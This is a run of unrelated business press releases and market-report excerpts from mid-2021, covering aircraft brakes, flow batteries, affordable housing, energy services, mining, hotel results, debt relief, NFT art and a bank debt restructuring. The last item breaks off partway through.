Based on the end use, the OEM segment is projected to grow at the highest CAGR rate for the aircraft braking system market during the forecast period. OEMs are responsible for the installation of braking system in an aircraft during the assembly stage and are then made available for delivery to aircraft manufacturers. Over the years, there has been a significant rise in the demand for different aircraft types across regions. According to Airbus, it delivered 863 commercial aircraft to 99 customers in 2019.

The North America market is projected to contribute the largest share from 2021 to 2026

North America is projected to be the largest regional share of the aircraft braking system market during the forecast period. The key factor responsible for North America, leading the aircraft braking system market owing to the rapid growth of the technologically advanced braking system in the region. In North America, the rise in aircraft orders and supplies is encouraging manufacturers of aircraft braking system to increase their sales year on year. The increasing demand for commercial aircraft and the presence of some of the leading players operating in the market, such as Crane Co., Parker-Hannifin Corporation, Honeywell International, Inc, are expected to drive the aircraft braking system market in North America. These players are focusing on R&D to increase their product lines and using technologically advanced systems, subsystems, and other components for manufacturing aircraft braking system.

Related Reports:

Aircraft Landing Gear Market by Type (Main, Nose), Platform (Fixed Wing, Rotary Wing), Application (Commercial, Business, Military), Aircraft Type (NBA, WBA, VLA, RTA), and Region - Global Forecast to 2021

Aircraft Tires Market by Application (Commercial, & Defense), By Aircraft Type (VLA, NBA, WBA & RTA), by Product Type (Radial & Bias), by End User (OEM, Retreaded, & Replacement), by Platform (Fixed & Rotary Wing), and by Geography - Global Forecast to 2020

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Scientists in China examined some of the key achievements in the development of perovskite solar cells in 2020 and 2021. The group finds that translating laboratory achievements onto larger, manufacturable devices, is the biggest challenge, and sees continuing collaboration between the industry and academic researchers as the key to overcoming this challenge.After a series of impressive achievements and a lot of hype, perovskite solar cells (PSCs) have become a popular area for researchers in recent years. And with universities and institutes the world over reporting a wealth of different approaches ...

Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann.
BOSTON, July 14, 2021 /PRNewswire/ -- The Vanadium Redox Flow Battery (VRFB) has been the first redox flow battery to be commercialized and to bring light to the flow battery technology. Thanks to the work performed by Monash university's professor Maria Skyllas-Kazacos on VRFB over the 1980s, this technology is gaining field to the world adopted energy storage system, lithium-ion battery.

In the latest update of the IDTechEx report, "Redox Flow Batteries 2021-2031", a substantial forward-looking approach has been assumed in forecasting the trend of adoption of this technology, with a multi-billion market size in 2031.

The results of IDTechEx's research show that the large-scale adoption of RFB is just a matter of time.

Redox Flow Batteries will be employed as a workhorse device, as defined by redT's website. redT merged with US Avalon battery in 2020, founding one of the largest VRFB companies, Invinity.

The large adoption of RFB systems doesn't imply that Li-ion batteries will disappear from the market, but simply that the two systems will address different aspects. In fact, IDTechEx expects Li-ion batteries to be mostly employed for a short duration of storage, hence focusing their application for high power applications with an average storage time between 1h and 5h. Possibly, the range addressed by Li-ion batteries might increase over the years.

Therefore, the RFB market will point to the large amount of energy this system can store. Amount of energy, which is provided due to the low capacity loss per cycle.

The VRFB device is the most studied and developed technology among the RFB systems. The presence of Vanadium as electrochemical species in the catholyte and anolyte reduces the issue of cross-mixing of the electrolyte.

Over the last few years, the price of vanadium has been one of the parameters affecting the adoption of this technology. To compensate for this issue, the vanadium flow battery producers started to collaborate with vanadium electrolyte companies to cope with this problem. One of the solutions to the high vanadium cost was to offer a leasing scheme for the electrolyte. A company like Invinity offers, in collaboration with Bushveld Energy, a leasing option to purchase the electrolyte separately. In this way, the cost of the battery is reduced, making VRFB more affordable. A further advantage of the vanadium electrolyte is the possibility to recycle it.

Similar to Bushveld energy, LARGO resources a Canadian mining company started to address the vanadium redox flow battery field, with the acquisition of Vionx Energy's asset for $35 million at the end of 2020.

The Iron flow battery (IRFB) is one of the candidates to compete with VRFB in populating the large-scale stationary market. The IRFB is an interesting candidate for large-scale applications due to the low cost of iron, which leads to a reduced capital cost. In addition, it offers the possibility to easily recycle the electrolyte, and avoid cost fluctuation of the electroactive material, as it might happen to vanadium. In addition in a recent study comparing VRFB, ZBB, and IRFB production, has also showed the IRFB to be the less polluting technology all over the production process.

Although the IRFB will likely compete for large-scale applications with VRFB, the two technology will bring to the market a different quality of storage system. This will in turn allow a larger variety of products for the customer.





The last promising RFB system is, of course, the Zinc/Bromine flow battery (ZBB). From a technical point of view, ZBB is a hybrid flow battery, which means one of the electrodes (the zinc electrode) is not liquid. In the specific case of ZBB, it is in fact a solid metal. This offers some advantages, like a reduced dimension and weight of the battery, which makes this battery well suited for indoor applications, and some disadvantages like a linked energy/power capacity relation. From a chemical point of view, the zinc metal undergoes an electroplating/electrodeposition which might cause the formation of dendrites which might provoke battery failure. Finally, because two different electroactive species are employed, the cross-mixing of electroactive species leads to capacity fade, without the possibility to regenerate the electrolyte.



For more information on "Redox Flow Batteries 2021-2031", please visit www.IDTechEx.com/Redox, or for the full portfolio of Energy Storage research available from IDTechEx please visit www.IDTechEx.com/Research/ES.





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IDTechEx guides your strategic business decisions through its Research, Subscription and Consultancy products, helping you profit from emerging technologies. For more information, contact research@IDTechEx.com or visit www.IDTechEx.com.

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Three Phases of Testing Central to Developments' Energy Savings

GAINESVILLE, GA / ACCESSWIRE / July 14, 2021 / Gainesville Housing Authority (GHA) and Collaborative Housing Solutions have completed Midtown Villages, a $25 million redevelopment comprised of 200 units in 54 buildings on 6 properties, that received Low Income Housing Tax Credits (LIHTC). The property is managed by Columbia Residential.

Midtown Villages at Melrose in Gainesville, Georgia. Redeveloped by Gainesville Housing Authority (GHA) and Collaborative Housing Solutions.

SK Collaborative, a green building consulting firm based in Decatur, GA, just wrapped up two years of inspections and performance testing, leading to the development's recent certification under the National Green Building Standard (NGBS).

"This is one of the most complicated developments I've ever done in my life," said Richelle Patton, Collaborative Housing Solutions Founder. "It is six different sites, that are all originally public housing sites. We're the first project in Georgia to combine National Housing Trust Fund dollars (NHTF) and LIHTCs." The NHTF is a federal program funded through the Department of Housing and Urban Development and administered here through the Georgia Department of Community Affairs (DCA).

The buildings are made of CMU (concrete masonry unit) with some dating back to 1951. Patton said the $25 million renovation updated everything from the electric service and flooring to windows and roofs. "We're trying to change the face of what people may think public housing looks like, by rebranding and showing how beneficial and attractive affordable housing can be for communities," said Patton.

Midtown Villages kitchen - before (left) and after (right) renovation.

Keeping Cool and Comfortable

But what may be the most noticeable improvement, especially because of Georgia's hot summers, is air conditioning. Brand new HVAC was added to the buildings at a cost of $2.7 million or $13,500 per unit. "Prior to our renovation, our residents did not have central air conditioning," said Beth Brown, GHA Executive Director. "So this is huge for them! Even with the central heating and air systems, they have seen a reduction in utility costs."

What's made that possible is a focus on duct and air sealing. The DCA's Qualified Allocation Plan requires a 20 percent reduction in duct and envelope leakage. "We measure the duct leakage and the envelope leakage before the renovation even starts, then we measure at the final inspection to verify the improvements," said Joe Baumann, SK Collaborative Multifamily Program Manager. Because DCA also requires green building certification, the SK Collaborative team also performed inspections both during and following construction. "Those mid-construction inspections are worth their weight in gold because we have an opportunity to give them feedback. If any issues are identified, it's much easier to address them mid-construction rather than waiting until after the final inspection."

Doing the inspections, especially with the onset of COVID-19, was difficult because residents had to be moved out - then back into their homes. "It was a logistical nightmare, especially with 54 buildings. Working with the team, we finally made it happen last week," said Baumann.

Midtown Villages Community Building. Sculpture by local artist Gregory Johnson.

Sustaining a Team Approach

"I can't say enough of the stick-with-it-ness, the determination, the commitment of everyone on the development and property management teams," said Patton. "There were some difficult days, but as a team, we all worked together."

In addition to renovating the residential units, Midtown Villages built new maintenance and community buildings - both on which Patton said they are in the process of installing solar panels. The community center is called the Melrose Art and Activity Center (the 'MAC') and is displaying art from local and national artists. There are plans for art classes for younger and older residents post-COVID, as well as an oral history project for former and existing residents.

"We're collaborating with the surrounding community in Vision 2030 (https://www.vision2030.org), a project of the Greater Hall Chamber of Commerce which spearheads initiatives to improve the quality of life in the area, including engaging residents with public art in the Gainesville and Hall County communities," said Patton. "Our goal for Midtown Villages was to preserve - yet upgrade what we have, to honor the community spirit established by the residents over the years, to try to be good neighbors, and to show that we can be a positive contribution to the larger Gainesville community."

Midtown Villages at Summit Street.

About Gainesville Housing Authority

Gainesville Housing Authority (GHA) is an advocate and provider for affordable housing for Gainesville families. Working with the City of Gainesville, U.S. Department of HUD, and other organizations, we provide life resources and opportunities not only to our residents, but to the entire community.

About Collaborative Housing Solutions

With 26 years of experience as an owner, developer, and consultant, Collaborative Housing Solutions bridges the public and private sectors to develop high-quality affordable rental housing which promotes diversity, equity, and community-building. It creates housing developments with the intent of not only positively impacting the built environment, but people's lives as well. For more information, visit www.collaborativehousingsolutions.com.

About SK Collaborative

SK Collaborative applies proven green building techniques to real-life situations. We work with developers, builders, remodelers, contractors, and architects to identify cost-effective techniques that can help earn financial incentives such as tax credits, utility rebates and financing discount programs. Our services range from consulting, design reviews and charrettes to envelope sealing inspections, testing, training, and building certification under LEED, EarthCraft, National Green Building Standard, ENERGY STAR, Enterprise Green Communities, FitWel, and Green Globes. We also offer building energy audits, Low Income Housing Tax Credit (LIHTC) compliance testing, and building enclosure consulting. SK Collaborative is your one stop resource in Making Buildings Better.

Contact:

Sarah Kelty, Marketing Coordinator

SK Collaborative

skelty@skcollaborative.com

(404) 480-4600 x116

SOURCE: SK Collaborative

View source version on accesswire.com:https://www.accesswire.com/655371/Gainesvilles-Midtown-Villages-Undergo-Dramatic-Sustainability-Upgrade
VANCOUVER, BC / ACCESSWIRE / July 14, 2021 / Legend Power Systems (TSX-V:LPS) and (OTCQB:LPSIF), a global leader in commercial electrical system solutions, today announced several key developments with multiple U.S. - based energy service companies ("ESCO"). Legend Power has now established relationships with seven ESCOs with a combined annual ESCO service revenue approaching US$1 billion.

Legend recently completed two SmartGATE Platform projects together with a large ESCO for schools in New York State, resulting in an additional 5%+ savings over and above the combined benefits of other energy savings measures already in use at these facilities.

"These impressive savings results are typical for the hundreds of install in educational facilities Legend has undertaken, and our customer is ecstatic with the outcome", said Mike Cioce, Vice President of Sales and Marketing. "ESCOs are seeking new and effective technologies to differentiate their value proposition and our recent successes are showing that Legend's SmartGATE provides a key to winning more business."

Additionally, Legend has received SmartGATE Insights assessment engagements from four additional major ESCOs in the U.S. Northeast, Southeast and Western regions. SmartGate Insights has been a strong sales tool that has enabled building owners and operators to see the savings and benefits of deploying Legend's flagship SmartGate Platform product.

"One of our key initiatives for 2021 has been building channel partners with ESCO's across North America", said Randy Buchamer, CEO of Legend Power. "The results we are seeing across our initial deployments with ESCOs and their end customers is extremely encouraging for future business and further partnerships. We are now scaling the Company to be able to handle the increasing demand we are seeing from these partners and look forward to working with them to improve energy efficiency and power quality for all the customers they serve."

Legend expects to establish more relationships with U.S. ESCOs, which would provide low cost / high leverage geographic reach and strong presence in key U.S. regions. With these partnerships, Legend gets instant access to decades long, trusted relationships in an expanded set of market verticals with little or no marketing, sales or infrastructure costs.

The U.S. ESCO market is forecasted to produce revenues of US$9 billion in 20211 and along with other channel sales is anticipated to play a dominant role in Legend's future growth trajectory.

Legend Power Sponsors NAESCO Conference

Legend is proud to announce that it is the Platinum Sponsor of the National Association of Energy Service Companies (NAESCO) annual ESCO conference R3 - Renovate, Retrofit and Reduce which will be held during November 2021 in Austin, Texas. R3 is NAESCO's premier annual event, highlighting opportunities for energy infrastructure improvements and upgrading the nation's building infrastructure.

"Our partnership with NAESCO is off to a great start. Their leadership position in transforming the nations public sector building infrastructure is advanced by showcasing new best of breed energy conservation measures," said Mr. Cioce.

About Legend Power Systems Inc.

Legend Power Systems Inc. (www.legendpower.com) provides an intelligent energy management platform that analyzes and improves building energy challenges, significantly impacting asset management and corporate performance. Legend's proven solutions support proactive executive decision-making in a complex and volatile business and energy environment.

1U.S. ESCO Industry: Industry Size and Recent Market Trends - June 2021; Elizabeth Stuart Nichole Hanus Juan Pablo Carvallo Peter Larsen, Principal Investigator; Lawrence Berkeley National Laboratory / U.S. Department of Energy

For further information, please contact:

Steve Vanry, CFO

+ 1 604 671 9522

svanry@legendpower.com

Sean Peasgood, Investor Relations

+ 1 647 503 1054

sean@sophiccapital.com

Neither the TSX Venture Exchange nor the Investment Industry Regulatory Organization of Canada accepts responsibility for the adequacy or accuracy of this release.

Forward-Looking Statements

This Press Release may contain statements which constitute "forward-looking information", including statements regarding the plans, intentions, beliefs and current expectations of the Company, its directors, or its officers with respect to the future business activities and operating performance of the Company. The words "may", "would", "could", "will", "intend", "plan", "anticipate", "believe", "estimate", "expect" and similar expressions, as they relate to the Company, or its management, are intended to identify such forward-looking statements. Investors are cautioned that any such forward-looking statements are not guarantees of future business activities or performance and involve risks and uncertainties, and that the Company's future business activities may differ materially from those in the forward-looking statements as a result of various factors. Such risks, uncertainties and factors are described in the periodic filings with the Canadian securities regulatory authorities, including the Company's quarterly and annual Management's Discussion & Analysis, which may be viewed on SEDAR at www.sedar.com. Should one or more of these risks or uncertainties materialize, or should assumptions underlying the forward-looking statements prove incorrect, actual results may vary materially from those described herein as intended, planned, anticipated, believed, estimated or expected. Although the Company has attempted to identify important risks, uncertainties and factors which could cause actual results to differ materially, there may be others that cause results to not be as anticipated, estimated or intended. The Company does not intend, and does not assume any obligation, to update these forward-looking statements other than as may be required by applicable law.

SOURCE: Legend Power Systems Inc.

View source version on accesswire.com:https://www.accesswire.com/655511/Legend-Power-Systems-Adds-Four-New-US-Based-ESCO-Relationships
Vancouver, British Columbia--(Newsfile Corp. - July 14, 2021) - Doubleview Gold Corp (TSXV: DBG) ("Doubleview", the "Company") announced today that effective July 09, 2021, the Tahltan Central Government ("TCG") and Doubleview entered into a Communications and Engagement Agreement (the "Agreement"), and the Company apologizes for its previous relationship with the Tahltan Central Government.

"Doubleview would like to take this opportunity to make a public statement of apology concerning its previous relationship with the TCG," stated Andrew H. Rees, Lead Director of Doubleview. "We profoundly regret that the previous engagement with the TCG concerning the proposed economic activities of Doubleview within Tahltan Territory has been marked by conflict and disagreement that has created significant barriers to the development of a respectful and collaborative relationship. We hereby commit the Company to undertake culturally appropriate engagement with Tahltan elders wherever appropriate and to foster a positive, productive, and collaborative relationship with the TCG and the Tahltan Nation by accommodating the TCG's requirement for timely and transparent communications in respect of the Company's proposed economic activities within Tahltan Territory. Doubleview recognizes that our relationships with Indigenous, First Nations and host communities are critical to the way we operate."

Although the Agreement does not obligate the Tahltan Nation to support the Company's activities within Tahltan Territory, it is an important initial step towards reconciling the past relationship between Doubleview and the TCG. In particular, the Company seeks to addresses the injunction ordered against the TCG by the British Columbia Supreme Court on May 26, 2016, in respect of the Hat Project within Tahltan Territory (the "Injunction"). Pursuant to the terms of the Agreement, the Company has confirmed it will not enforce and will seek no legal remedy in respect of the Injunction against the TCG, treating the Injunction as if it is of no legal force and effect. Mr. Rees stated, "Doubleview recognizes the negative impacts of the Injunction to the Tahltan Nation and appreciates the opportunity to reset our relationship with the TCG and is committed to building a constructive and respectful relationship with the Tahltan Nation."

The Agreement acknowledges that the Tahltan Nation holds certain inherent Aboriginal title, rights and interests in respect of their traditional territory. Doubleview acknowledges, recognizes and respects Tahltan title and rights.

Mr. Farshad Shirvani, President and CEO of Doubleview states, "This is an exciting step forward for the relationship between Doubleview and the Tahltan Nation and Doubleview looks forward to a collaborate future relationship with the Tahltan Nation."

About Doubleview Gold Corp

Doubleview Gold Corp, a mineral resource exploration and development company, is based in Vancouver, British Columbia, Canada, and is publicly traded on the TSX Venture Exchange (TSXV: DBG) (OTC: DBLVF) (WKN: A1W038) (FSE: 1D4). Doubleview identifies, acquires and finances precious and base metal exploration projects in North America, particularly in British Columbia. Doubleview increases shareholder value through acquisition and exploration of quality gold, copper and silver properties and the application of advanced state-of-the-art exploration methods. Doubleview's portfolio of strategic properties provides diversification and mitigates investment risk.

On behalf of the Board of Directors,

Farshad Shirvani, President & Chief Executive Officer

For further information please contact:

Doubleview Gold Corp

Vancouver, BC, V6C 1V5

Farshad Shirvani, President & CEO

T: (604) 678-9587

E: corporate@doubleview.ca

Forward-Looking Statements

Information set forth in this news release contains forward-looking statements that are based on assumptions as of the date of this news release. These statements reflect management's current estimates, beliefs, intentions and expectations. They are not guarantees of future performance. Doubleview cautions that all forward looking statements are inherently uncertain and that actual performance may be affected by a number of material factors, many of which are beyond Doubleview's control. Such factors include, among other things: risks and uncertainties relating to Doubleview's limited operating history and the need to comply with environmental and governmental regulations. Accordingly, actual and future events, conditions and results may differ materially from the estimates, beliefs, intentions and expectations expressed or implied in the forward looking information. Except as required under applicable securities legislation, Doubleview undertakes no obligation to publicly update or revise forward-looking information.

NEITHER TSX VENTURE EXCHANGE NOR ITS REGULATION SERVICES PROVIDER (AS THAT TERM IS DEFINED IN THE POLICIES OF THE TSX VENTURE EXCHANGE) ACCEPTS RESPONSIBILITY FOR THE ADEQUACY OR ACCURACY OF THIS RELEASE.

To view the source version of this press release, please visit https://www.newsfilecorp.com/release/90215
Hydro Hotel Eastbourne Plc - Interim Results for the Half Year ended 30 April 2021

14 July 2021

Hydro Hotel, Eastbourne, Plc

("Hydro Hotel" or the "Company")

Interim Results for the Half Year ended 30 April 2021

YOUR CHAIRMAN'S LETTER

Dear Shareholder,

SIX MONTHS TO 30 APRIL 2021

I report on the company's results for the six months to 30 April 2021, which reflect the ongoing impact of the Coronavirus pandemic on our business. In accordance with the Government lockdown measures, the hotel was required to close from 5 November 2020 to 2 December 2020. The hotel reopened with Tier restrictions being applied from that date up to 5 January 2021. A further lockdown was introduced from 6 January 2021 up until the 8 March 2021. The hotel was able to serve customers outdoors from 12 April 2021, but the hotel was not allowed to open for guests to stay until 17 May 2021, but with restrictions. These restrictions are now expected to end on 19 July 2021.

The total turnover for the six-month period to 30 April 2021 was 185,579 compared to 1,177,033 for the same period the previous year, a decrease of 84.23% (compared to a decrease in the six months to 30 April 2020 of 24.24%).

The gross profit percentage for the period was 0.72% lower than in the six months to 30 April 2020 and staff costs (excluding grants received for the Coronavirus Job Retention Scheme) decreased by 36.1% compared to the figure for the period to 30 April 2020 (4.8% increase in the half year to 30 April 2020).

Overheads decreased by 34.66% (10.93% decrease in the half year ended 30 April 2020).

Advantage was taken during the periods of closure to refurbish some bathrooms with walk in showers, to refresh the decoration of bedrooms and to commence repairs to some of the roof areas.

There is an increase in the loss for the half year to 30 April 2021 to 383,183 compared to 276,850 for the half year to 30 April 2020.

The Board and the management of the company in monitoring cash resources have reviewed and taken advantage of appropriate sources of finance available from both central and local Government.

All action required, by Government and the relevant guidance issued, has been taken to enable the hotel to re-open fully for business on 19 July 2021.

The Board wishes to express its thanks to the management and staff of the hotel for their co-operation and efforts during these exceptional circumstances and the Hydro team look forward to welcoming new and returning guests in this our 126th year of operation.

Yours sincerely,

Graeme C King, MA, CA

13 July 2021



STATEMENT OF COMPREHENSIVE INCOME FOR THE HALF YEAR ENDED 30 APRIL 2021 Half year to Half year to Year ended 30 April 2021 30 April 2020 31 October 2020 (Unaudited) (Unaudited) (Audited)    TURNOVER 185,579 1,177,033 2,233,068 OPERATING LOSS (385,397) (281,909) (179,382) INTEREST RECEIVABLE 2,214 5,059 7,370 INTEREST PAYABLE - - (2,354) LOSS BEFORE TAXATION (383,183) (276,850) (174,366) TAXATION - - 35,077 LOSS FOR PERIOD (383,183) (276,850) (139,289) (Loss) per share (63.86)p (46.14)p (23.21)p

STATEMENT OF FINANCIAL POSITION AT 30 APRIL 2021 30 April 2021 30 April 2020 31 October 2020 (Unaudited) (Unaudited) (Audited)    FIXED ASSETS Tangible Assets 2,578,230 2,743,514 2,653,876 CURRENT ASSETS Stocks 24,474 30,719 27,899 Debtors 103,643 41,126 128,926 Investment - 6 month notice deposit account 200,325 200,658 200,000 Cash at bank and in hand 684,264 586,585 1,025,141 1,012,706 859,088 1,381,966 CREDITORS Amounts falling due within one year (326,396) (316,697) (388,609) NET CURRENT ASSETS 686,310 542,391 993,357 TOTAL ASSETS LESS CURRENT LIABILITIES 3,264,540 3,285,905 3,647,233 CREDITORS:

Amounts falling due after more than one year (240,000) - (240,000) PROVISION FOR LIABILITIES (110,147) (125,890) (109,657) NET ASSETS 2,914,393 3,160,015 3,297,576 CAPITAL AND RESERVES Called up share capital 600,000 600,000 600,000 Revaluation reserve 406,930 411,209 406,930 Profit and loss reserves 1,907,463 2,148,806 2,290,646 2,914,393 3,160,015 3,297,576

STATEMENT OF CASH FLOWS FOR THE HALF YEAR ENDED 30 APRIL 2021 Half year to Half year to Year ended 30 April 2021 30 April 2020 31 October 2020 (Unaudited) (Unaudited) (Audited)    NET CASH USED IN OPERATING ACTIVITIES (Note 1) (321,460) (387,801) (181,069) NET CASH USED IN INVESTING ACTIVITIES (Note 2) (19,417) (79,200) (87,376)

FINANCING ACTIVITIES Proceeds of new bank loans - - 240,000 Dividends paid - (54,000) (54,000) NET DECREASE IN CASH AND CASH EQUIVALENTS (340,877) (521,001) (82,445) CASH AND CASH EQUIVALENTS AT THE BEGINNING OF THE PERIOD 1,025,141 1,107,586 1,107,586 CASH AND CASH EQUIVALENTS AT THE END OF THE PERIOD 684,264 586,585 1,025,141 RELATING TO: Cash at bank and in hand 684,264 586,585 1,025,141
TUSTIN, CA / ACCESSWIRE / July 14, 2021 / Litigation Practice Group (LPG) today announced the launch of a program focused on helping people who have found themselves in debt due to the Coronavirus Pandemic. Even as the country reopens, many Americans are facing financial hardship through job loss or illness related to COVID, and many of the protections for debtors that were put into place in response to COVID are now being removed. LPG realizes that there are additional considerations for people in such a situation, and they need legal services specifically tailored to resolve debt that was induced by economic disruption mandated by the government in response to COVID.

As a result, LPG is assisting clients in resolving debt by using a two-tiered approach that first looks for remaining protections under state or federal law, and second looks to dispute debts that were incurred as a direct result of economic restrictions put into place in response to COVID. This program extends to all of LPG's practice areas. For example, if a client's debt mounted as a result of unemployment or underemployment due to mandated shut downs of an individual's place of work, various legal defenses to such debt can be presented in court in response to a collection action and either reduce or eliminate the obligation to pay.

LPG understands that dealing with debt can be a daunting process in any environment, but especially in one as unique and historic as the COVID pandemic. The consumer rights specialists at LPG are skilled at using existing statutes and legal precedents to eliminate debt. Their clients feel at ease knowing that they can rely on LPG to handle their lawsuit no matter how complicated the issues may be. Having an attorney assist you in resolving outstanding debt can make a world of difference in the amount and structure of your debt resolution.

ABOUT LITIGATION PRACTICE GROUP

Founded by attorneys with a combined 70 years of experience in representing debtors, LPG The nation's leading debt relief law firm for individual consumers in need of assistance with resolving their debt. LPG accepts clients nationwide using a network of attorneys licensed to practice in all 50 states and the District of Columbia. With a results-oriented approach and proven track record, their lawyers understand that dealing with legal issues relating to debt can be a daunting process, which is why they stand by you through the entire process. They strive to ensure that their legal services remain affordable and available to as many people as possible. They understand the importance of providing high levels of personalized service to all clients, irrespective of the size of the case. Having access to an attorney throughout the process of resolving your debt is crucial to ensuring that all of your rights are enforced and all of your creditors are forced to comply with laws designed to regulate the manner in which credit was issued and serviced.

CONTACT: Bianca Loli

PHONE: (949) 715-0644

EMAIL: info@lpglaw.com

SOURCE: The Litigation Practice Group

View source version on accesswire.com:https://www.accesswire.com/655475/Litigation-Practice-Group-Announces-Launch-of-COVID-Debt-Relief-Legal-Assistance-Program
Abstract: Since March this year, Beeple's "Everydays: The First 5000 days" set a record of the highest turnover of top 3 living artists in the world with $69 million at Christie's, the word "NFT" has become popular in the international art circle overnight, and then major galleries, art institutions and artists have hurried to get on the "express train" of "NFT art".

Singapore, Singapore--(Newsfile Corp. - July 14, 2021) - Cryptoart.Ai, the Asia's largest NFT digital art platform, has joined hands with Shanghai Jiahe Auction Co., Ltd.to exhibition two masterpieces of Infinite Net (1959, c1979) and Infinite Net (MGPP), the most iconic series of Infinite Nets in Yayoi Kusama's artistic career, collected by Jiahe. They employed block chain encryption in the authentication and record data of entity artworks in the form of "NFT Empowering" entity artworks to start a new cooperation between NFT and entity artworks and real art market.

The authenticity identification of traditional art works has always been a major difficulty in the process of works circulation. Whether it is the traditional authentication method in China or the international authentication method, its core is centralized authentication mode without exception. "Centralized recognition" depends on people, and the corresponding recognition is often based on the following process: Analysis of work style - Analysis of signatures - Analysis of historical materials (sources, authoritative documents, exhibition catalogues, past transaction records, etc.) - Technical Analysis and test reports, etc. As time goes by, the most easily lost part of a work is its accompanying historical documents, which is the key to doubt for many works. However, the emergence of "blockchain erc721 protocol" can change the way of recording and retaining historical documents in the traditional art appraisal process through blockchain encryption technology. Thus, it sets off an innovation in the field of art authenticity identification.

Figure 1

To view an enhanced version of this graphic, please visit:

https://orders.newsfilecorp.com/files/7987/90217_50068e27c464d8c2_001full.jpg

Infinite Nets, as the most iconic series of Yayoi Kusama's early creation, not only established her position in the Western art world, but also represented the most difficult and historic moment of her life.

Figure 2

To view an enhanced version of this graphic, please visit:

https://orders.newsfilecorp.com/files/7987/90217_50068e27c464d8c2_002full.jpg

In 1957, after breaking up with his mother at the age of 28, Kusama went to Seattle alone and held a solo exhibition at Zoe Dusanne (1884-1972) Gallery. A year later, she moved to New York and began her creation of Infinite Nets, and she met Donald Judd at that time. As a lifelong friend, Donald Judd not only highly admired Kusama's creative talent, but also was the first person to appreciate the Infinite Nets series. He also helped Kusama, who had just arrived in New York, make many creative attempts.

Figure 3

To view an enhanced version of this graphic, please visit:

https://orders.newsfilecorp.com/files/7987/90217_50068e27c464d8c2_003full.jpg

In 1959, Infinite Nets were first exhibited in the Brata Gallery New York, which caused a great sensation in the industry. The price of a single work was as high as nearly $200, which was the skyhigh price at that time! So much so that the New York Times commented on the work as "having amazing power" and "confusing." Today people see the Infinite Net (1959 c.1979), which was created in 1959. Originally, she gave the work from the most important period of her life to her good friend Yuko Taguchi, which can be seen that this good friend has great significance for Kusama. However, it is a pity that for some reasons, Kusama lost contact with her friend. This work was kept in her studio until 1979, 20 years later, when it was really completed. The certificate was produced by Yayoi Kusama studio and included in the collection with the number of NO.0271

Figure 4

To view an enhanced version of this graphic, please visit:

https://orders.newsfilecorp.com/files/7987/90217_50068e27c464d8c2_004full.jpg

Today, when this work and the story behind it reappear in the public view, together with another work, Infinite Net (MGPP), all the authentication materials of them, including circulation records, exhibition materials, publication catalogues and certificates, are encrypted in the form of "NFT + art", which is cast into a complete NFT and stored in the blockchain. This practice undoubtedly has epoch-making significance! By "NFT empowering", these rich authentication information and image data are permanently stored in the IPFs distributed server node in the form of distributed storage. This is the first example of NFT empowering entity artwork in the world! NFT will also be handed over to the new collectors after the transaction, and recorded and confirmed in each subsequent circulation.

Figure 5

To view an enhanced version of this graphic, please visit:

https://orders.newsfilecorp.com/files/7987/90217_50068e27c464d8c2_005full.jpg

To highlight the special significance of this practice, Shanghai Jiahe Auction Co., Ltd. is planning a special show: A Thought in Eternity: Infinity Nets-Yayoi Kusama's Original Artworks and NFTs. The combination of the two works into an integrated subject for auction is a very innovative attempt, no matter for the current secondary market, or NFT art market! On this occasion, CryptoArt.Ai x Shanghai Jiahe Auction Co., Ltd. will hold a special press conference on July 15 at the Shanghai Himalayan Art Museum to witness this moment. On the very day, various guests and scholars from different fields in the industry will be invited to discuss "cooperation" or "creation" between entity art and NFT technology through an open round table seminar with the theme of "Mutual Understanding of the Value of Cryptoart".

Related activities and the follow-up auction will be held on July 23. Please look forward to it together!

Media Contact

Contact: Freya

Company Name: Cryptoart

Address: 2 VENTURE DRIVE #11-31 VISION EXCHANGE SINGAPORE(608526)

Website: https://cryptoart.ai/

Email: support@cryptoart.ai

To view the source version of this press release, please visit https://www.newsfilecorp.com/release/90217
Key Highlights:

Atlas Mara announces execution of a binding debt restructuring agreement with a significant majority of its creditors

This milestone provides long-term stability for the Company to implement its strategic review, including its divestment programme and maintain on-going operations

These actions pertain only to the Group's holding company structure and do not impact the subsidiary banks, whose underlying performance remains strong

Company continues to make progress on completion of previously announced divestitures

TORTOLA, BVI / ACCESSWIRE / July 14, 2021 / Atlas Mara Limited ('Atlas Mara' or the 'Company,' and including its subsidiaries, the 'Group'), the sub-Saharan African financial services group, hereby provides an update on the outcome of its discussions with bilateral lenders and certain principal holders of the Group's convertible bonds.

The Company is pleased to announce that it has entered into a support and override agreement with a significant majority of its creditors in respect of the Company's and ABC Holdings Limited's ('ABCH') financing arrangements (the 'Support and Override Agreement' or 'restructuring agreement'). Creditors representing 88 per cent. of the aggregate amount of debt outstanding under the Company's direct and contingent financial liabilities agreed to enter the Support and Override Agreement. This includes over 60 per cent. of the principal holders of the Group's convertible bonds.

This high level of support from the creditors enables a long-term stable platform to allow the Company to complete its strategic review and divestments program. The restructuring agreement forbears or extends the repayment schedules of the debt of the Company and ABCH, providing additional time for value recovery amid the ongoing challenging macroeconomic environment. As mentioned in prior market announcements, due to impact of the on-going pandemic and macro challenges faced in the markets in which it operates, the Company embarked on the process that now culminates in the execution of this restructuring agreement.

The Support and Override Agreement is focused only on the Group's holding company structure and does not include the operating subsidiaries as parties (although they receive certain benefits from the holding companies being parties). The key terms of the Support and Override Agreement include:

the creditors who are a party to the Support and Override Agreement (the ' Participating Creditors ') have agreed to forbearances in respect of certain events of default under their relevant facilities while the Support and Override Agreement is effective including (i) non-payment of amounts due under certain of the Company's and ABCH's financing agreements, (ii) any deterioration in the financial or operational performance of the Group as a result of COVID-19, and (iii) any breach of any financial covenant under certain of the Company's and ABCH's financing agreements;

') have agreed to forbearances in respect of certain events of default under their relevant facilities while the Support and Override Agreement is effective including (i) non-payment of amounts due under certain of the Company's and ABCH's financing agreements, (ii) any deterioration in the financial or operational performance of the Group as a result of COVID-19, and (iii) any breach of any financial covenant under certain of the Company's and ABCH's financing agreements; the Participating Creditors with direct facilities with the Company have agreed to forbearances in respect of the maturities of their facilities to 30 September 2021, with the possibility of further extension;

the Participating Creditors with direct facilities with ABCH have agreed to waive the maturities of their facilities until 31 December 2022, with the possibility of further extension;

